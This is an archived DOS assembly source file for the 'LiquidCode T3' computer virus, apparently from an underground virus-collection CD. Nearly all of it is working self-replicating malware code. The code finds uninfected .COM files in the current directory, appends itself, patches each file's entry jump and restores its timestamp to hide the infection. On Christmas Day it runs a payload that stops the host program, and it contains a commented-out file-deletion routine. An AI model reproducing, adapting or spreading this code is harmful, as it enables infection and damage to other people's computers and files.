home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / t3.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.9 KB  |  362 lines

  1. ;LiquidCode  ---  T3
  2.  
  3. ;    
  4.  
  5. ;            Virus
  6.  
  7. ;This version:
  8.  
  9. ;Searches current directory for non-infected com files, if any found
  10.  
  11. ;it will become infected!
  12.  
  13. ;This virus has a routine which self-destructs itself and uninfects
  14.  
  15. ;the file.
  16.  
  17.     assume cs:code
  18.  
  19.     .286
  20.  
  21. code    segment    "code"
  22.  
  23.     org 0100h
  24.  
  25. start    proc
  26.  
  27.     jmp    v_start        ;first 5 bytes |
  28.  
  29.     nop            ;              |
  30.  
  31.     nop            ;              |
  32.  
  33. v_start:
  34.  
  35.     call $+3        ;Actual virus
  36.  
  37.     pop dx
  38.  
  39.     sub dx, 3
  40.  
  41.     push dx            ;save relocation factor in BP
  42.  
  43.     pop bp            ;so virus can be copied anywhere twoards
  44.  
  45.     mov si, dx        ;the end of the file
  46.  
  47.                 ;
  48.  
  49. ;            Replace first 5 bytes in memory with original
  50.  
  51. ;            program code so normal program can run later
  52.  
  53.     add si, first_five
  54.  
  55.     mov di, 0100h
  56.  
  57.     mov cx, 5
  58.  
  59.     lodsb
  60.  
  61.     stosb
  62.  
  63.     loop $-2
  64.  
  65. ;see if user want to disinfect this file
  66.  
  67. ;    mov si, 82h
  68.  
  69. ;    lodsb
  70.  
  71. ;    cmp al, "["        ;is al the code to disinfect?  "["
  72.  
  73. ;    jne ok_dont_disinfect
  74.  
  75. ;    jmp self_kill 
  76.  
  77. ok_dont_disinfect:
  78.  
  79.                 ;here should be date checks to see
  80.  
  81.                 ;if an evil function should be unleashed!!
  82.  
  83.     mov ah, 2ah
  84.  
  85.     int 21h
  86.  
  87.     ;cx year 1980-2099
  88.  
  89.     ;dh month 1-12
  90.  
  91.     ;dl day
  92.  
  93.     ;al day of week  0=sun 1=mon -> 7=sat
  94.  
  95.     cmp dh, 12
  96.  
  97.     jne notdec
  98.  
  99.     cmp dl, 25
  100.  
  101.     jne notdec
  102.  
  103.     jmp christmas
  104.  
  105. notdec:
  106.  
  107.     cmp dh, 4
  108.  
  109.     jne notapril
  110.  
  111.     cmp dl, 1
  112.  
  113.     jne notapril
  114.  
  115. ;    jmp aprilfools    
  116.  
  117. notapril:
  118.  
  119.  
  120.  
  121. ;Set the DTA
  122.  
  123.     call set_dta
  124.  
  125.                 ;find first file to  ?infect?
  126.  
  127.     call find_first_file
  128.  
  129. go_again:
  130.  
  131.     mov si, bp
  132.  
  133.     add si, size_
  134.  
  135.     lodsw
  136.  
  137.     cmp ax, 5
  138.  
  139.     ja gd4
  140.  
  141.     jmp resrch    
  142.  
  143. gd4:
  144.  
  145.     call open_file
  146.  
  147.     mov bx, ax
  148.  
  149.     mov al, 0
  150.  
  151.     call date_time
  152.  
  153.     mov ah, 3fh
  154.  
  155.     mov cx, 5
  156.  
  157.     mov dx, bp
  158.  
  159.     add dx, first_five
  160.  
  161.     int 21h
  162.  
  163. ;****    mov ax, 4202h
  164.  
  165.     mov cx, 0
  166.  
  167.     mov ax, 4202h
  168.  
  169.     mov dx, cx
  170.  
  171.     int 21h
  172.  
  173.     sub ax, 3
  174.  
  175.     mov si, bp
  176.  
  177.     add si, new_5
  178.  
  179.     mov [si+1], ax
  180.  
  181.     mov si, bp
  182.  
  183.     mov di, si
  184.  
  185.     add si, chkmark
  186.  
  187.     add di, mark
  188.  
  189.     mov cx, 2
  190.  
  191.     repe cmpsb
  192.  
  193.     jne INFECT
  194.  
  195. ;File found was previously infected!
  196.  
  197. ; search for new one now.
  198.  
  199.     jmp resrch
  200.  
  201.  
  202.  
  203. wipe_name:
  204.  
  205.     push di
  206.  
  207.     push ax
  208.  
  209.     push cx
  210.  
  211.     mov di, bp
  212.  
  213.     add di, name_
  214.  
  215.     mov cx, 13
  216.  
  217.     mov al, 0
  218.  
  219.     rep stosb
  220.  
  221.     pop cx
  222.  
  223.     pop ax
  224.  
  225.     pop di
  226.  
  227.     ret
  228.  
  229. resrch:
  230.  
  231.     call wipe_name
  232.  
  233.     mov ah, 4fh
  234.  
  235.     int 21h
  236.  
  237.     jnc gd3
  238.  
  239.     jmp term_virus
  240.  
  241. gd3:
  242.  
  243.     jmp go_again
  244.  
  245. INFECT:
  246.  
  247. ;Time to infect the file!!
  248.  
  249.     mov si, bp
  250.  
  251.     add si, handle
  252.  
  253.     mov bx, [si]
  254.  
  255.     mov cx, vsize
  256.  
  257.     mov dx, bp
  258.  
  259.     call wipe_name
  260.  
  261.     mov ax, 4000h
  262.  
  263.     int 21h
  264.  
  265.     mov ax, 4200h
  266.  
  267.     mov cx, 0
  268.  
  269.     mov dx, cx
  270.  
  271.     int 21h
  272.  
  273.     mov dx, bp
  274.  
  275.     add dx, new_5
  276.  
  277.     mov ax, 4000h
  278.  
  279.     mov cx, 5
  280.  
  281.     int 21h
  282.  
  283.     mov al, 1
  284.  
  285.     call date_time
  286.  
  287.     mov ax, 3e00h
  288.  
  289.     int 21h
  290.  
  291.     jmp resrch 
  292.  
  293.  
  294.  
  295. fndnam    proc
  296.  
  297.     mov si, env
  298.  
  299.     mov ax, [si]
  300.  
  301.     mov es, ax
  302.  
  303.     mov ds, ax
  304.  
  305.     mov si, 0
  306.  
  307.     mov di, si
  308.  
  309. __lp:
  310.  
  311.     lodsb
  312.  
  313.     cmp al, 0
  314.  
  315.     je chknxt
  316.  
  317.     stosb
  318.  
  319.     jmp __lp
  320.  
  321. chknxt:
  322.  
  323.     stosb
  324.  
  325.     lodsb
  326.  
  327.     cmp al, 0
  328.  
  329.     je fnd1
  330.  
  331.     stosb
  332.  
  333.     jmp __lp
  334.  
  335. fnd1:
  336.  
  337.     stosb
  338.  
  339. __lp2:
  340.  
  341.     lodsb
  342.  
  343.     cmp al, "a"
  344.  
  345.     jae ff_
  346.  
  347. up2:
  348.  
  349.     cmp al, "A"
  350.  
  351.     jae fff_
  352.  
  353. up3:
  354.  
  355.     stosb
  356.  
  357.     jmp __lp2
  358.  
  359. ff_:
  360.  
  361.     cmp al,"z"
  362.  
  363.     jbe fnd
  364.  
  365.     jmp up2
  366.  
  367. fff_:
  368.  
  369.     cmp al, "Z"
  370.  
  371.     jbe fnd
  372.  
  373.     jmp up3
  374.  
  375. fnd:
  376.  
  377.     mov si, di
  378.  
  379.     mov al, 0
  380.  
  381.     repne scasb
  382.  
  383.     mov dx, si
  384.  
  385.     mov di, dx
  386.  
  387.     ret
  388.  
  389. env    equ 2ch
  390.  
  391. fndnam     endp
  392.  
  393.  
  394.  
  395.  
  396.  
  397. self_kill:
  398.  
  399.         ;this procedure disinfects specified files
  400.  
  401.         ;SI points to the name of current file on disk
  402.  
  403.         ;which is infected
  404.  
  405.     call fndnam    ;find name of current file from env block in memory
  406.  
  407.     jmp gd__    
  408.  
  409. abrt:
  410.  
  411.     int 20h
  412.  
  413. gd__:
  414.  
  415.     mov ax, 3d02h
  416.  
  417.     int 21h
  418.  
  419.     jc abrt
  420.  
  421.     mov bx, ax
  422.  
  423.     mov ax, cs
  424.  
  425.     mov ds, ax
  426.  
  427.     mov es, ax
  428.  
  429.     mov cx, 5
  430.  
  431.     mov dx, bp
  432.  
  433.     add dx, first_five
  434.  
  435.     call wipe_name
  436.  
  437.     mov ax, 4000h
  438.  
  439.     int 21h
  440.  
  441.     jc abrt
  442.  
  443.     mov dx, 0
  444.  
  445.     mov cx, 0
  446.  
  447.     mov ax, 4202h
  448.  
  449.     int 21h
  450.  
  451.     jnc gd__1
  452.  
  453.     jmp abrt
  454.  
  455. gd__1:
  456.  
  457.     sub ax, vsize
  458.  
  459.     mov dx, ax
  460.  
  461.     mov cx, 0
  462.  
  463.     mov ax, 4200h
  464.  
  465.     int 21h
  466.  
  467.     call wipe_name
  468.  
  469.     mov cx, 0
  470.  
  471.     mov ax, 4000h
  472.  
  473.     int 21h
  474.  
  475.     mov ax, 3e00h
  476.  
  477.     int 21h
  478.  
  479.     jmp term_virus
  480.  
  481. date_time:
  482.  
  483.     pusha
  484.  
  485.     mov ah, 57h
  486.  
  487.     cmp al, 0
  488.  
  489.     je fnd__$
  490.  
  491.     mov di, bp
  492.  
  493.     mov si, di
  494.  
  495.     add di, date
  496.  
  497.     add si, time
  498.  
  499.     mov dx, [di]
  500.  
  501.     mov cx, [si]
  502.  
  503.     int 21h
  504.  
  505.     jmp ret__
  506.  
  507. fnd__$:
  508.  
  509.     int 21h
  510.  
  511.     mov si, bp
  512.  
  513.     mov di, bp
  514.  
  515.     add si, time
  516.  
  517.     add di, date
  518.  
  519.     mov [si], cx
  520.  
  521.     mov [di], dx
  522.  
  523. ret__:
  524.  
  525.     popa
  526.  
  527.     ret
  528.  
  529. open_file:
  530.  
  531.     mov dx, bp
  532.  
  533.     add dx, name_
  534.  
  535.     mov ax, 3d02h
  536.  
  537.     int 21h
  538.  
  539.     jnc gd2
  540.  
  541.     jmp term_virus
  542.  
  543. gd2:
  544.  
  545.     mov si, bp
  546.  
  547.     add si, handle
  548.  
  549.     mov [si], ax
  550.  
  551.     ret
  552.  
  553. find_first_file:
  554.  
  555.     mov dx, bp
  556.  
  557.     mov cx, 0
  558.  
  559.     mov ah, 4eh
  560.  
  561.     add dx, all_com_files
  562.  
  563.     int 21h
  564.  
  565.     jnc gd1
  566.  
  567.     jmp term_virus
  568.  
  569. gd1: 
  570.  
  571.     ret
  572.  
  573. set_dta:
  574.  
  575.     mov dx, bp
  576.  
  577.     mov ah, 1ah
  578.  
  579.     add dx, dta
  580.  
  581.     int 21h
  582.  
  583.     ret
  584.  
  585. term_virus:
  586.  
  587.     mov ax, 0
  588.  
  589.     mov bx, ax
  590.  
  591.     mov cx, bx
  592.  
  593.     mov dx, cx
  594.  
  595.     mov si, 0100h
  596.  
  597.     mov di, -1
  598.  
  599.     mov bp, di
  600.  
  601.     push 0100h
  602.  
  603.     ret
  604.  
  605.  
  606.  
  607. CHRISTMAS:
  608.  
  609. ;Program Lockup
  610.  
  611. ; Exit without running program   
  612.  
  613.     int 20h
  614.  
  615. ;APRILFOOLS:
  616.  
  617. ;Ha Ha delete current file
  618.  
  619. ;    call fndnam
  620.  
  621. ;    mov ah, 41h
  622.  
  623. ;    int 21h
  624.  
  625. ;    mov ax, cs
  626.  
  627. ;    mov ds, ax
  628.  
  629. ;    mov es, ax
  630.  
  631. ;    jmp term_virus
  632.  
  633. ;            Data    Bank
  634.  
  635. _fstfive:
  636.  
  637.     int 20h
  638.  
  639.     nop
  640.  
  641. ckmrk:
  642.  
  643.     nop
  644.  
  645.     nop
  646.  
  647. acf    db "*.COM",0
  648.  
  649. dt_    dw 0
  650.  
  651. tme    dw 0
  652.  
  653. d_t_a:
  654.  
  655.     rfd    db 21 dup (0)
  656.  
  657.     att    db 0
  658.  
  659.         dw 0
  660.  
  661.         dw 0
  662.  
  663.     sz    dd 0
  664.  
  665.     n_me    db 13 dup (0),0
  666.  
  667. handl    dw 0
  668.  
  669. nw_5    db 0e9h,0,0
  670.  
  671. mrk    db "<T3> "
  672.  
  673. strain    db "<tm>LiquidCode 92"
  674.  
  675. ;
  676.  
  677. end___:
  678.  
  679. first_five    = offset _fstfive-0105h
  680.  
  681. all_com_files    = offset acf-0105h
  682.  
  683. dta        = offset d_t_a-0105h
  684.  
  685. attribute    = offset att-0105h
  686.  
  687. time        = offset tme-0105h
  688.  
  689. date        = offset dt_-0105h
  690.  
  691. size_        = offset sz-0105h
  692.  
  693. name_        = offset n_me-0105h
  694.  
  695. handle        = offset handl-0105h
  696.  
  697. new_5        = offset nw_5-0105h
  698.  
  699. mark        = offset mrk-0105h
  700.  
  701. chkmark        = offset ckmrk-0105h
  702.  
  703. vsize        = offset end___-0105h
  704.  
  705. start    endp
  706.  
  707. code    ends
  708.  
  709.     end    start
  710.  
  711.     
  712.  
  713. ;  ─────────────────────────────────────────────────────────────────────────
  714.  
  715. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  716.  
  717. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  718.  
  719. ;  ─────────────────────────────────────────────────────────────────────────
  720.  
  721.  
  722.  
  723.